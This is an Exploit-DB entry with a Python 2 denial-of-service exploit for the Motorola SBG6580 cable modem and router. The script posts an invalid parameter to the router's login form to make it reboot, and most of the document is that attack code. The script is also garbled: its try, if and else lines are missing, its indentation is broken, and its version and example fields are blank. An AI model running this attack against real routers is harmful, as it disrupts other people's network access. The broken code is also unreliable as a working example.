Motorola SBG6580 Cable Modem & Wireless Router - DoS Reboot

EDB-ID: 30688 CVE: N/A OSVDB-ID: 102605
Verified: Author: nicx0 Published: 2014-01-04
Download Exploit: Source Raw Download Vulnerable App: N/A
# Exploit Title: Motorola SBG6580 Cable Modem & Wireless-N Router Denial of Service
# Date: 01/03/14
# Exploit Author: nicx0
# Vendor Homepage:
# Software Link:
# Version: SBG6580-
# POSTing a bad login page parameter causes the router to reboot.

import sys
import socket
import urllib2
import urllib
router_ip = ''
      router_ip = str(sys.argv[1])
      print ' ip_address : e.g.'
query_args = {'this_was':'too_easy'}
url = 'http://' + router_ip + '/goform/login'
post_data = urllib.urlencode(query_args)
request = urllib2.Request(url, post_data)
	print '[+] Sending invalid POST request to ' + url + '...'
	response = urllib2.urlopen(request,timeout=5)
except socket.timeout:
	print '[+] Success! No response from the modem.'
except urllib2.HTTPError:
	print '[-] Failed: HTTP error received. The modem might not be a SBG6580.'
except urllib2.URLError:
	print '[-] Failed: URL error received. Check the IP address again..'
	print '[-] Failed: HTTP response received. Modem does not appear to be vulnerable.'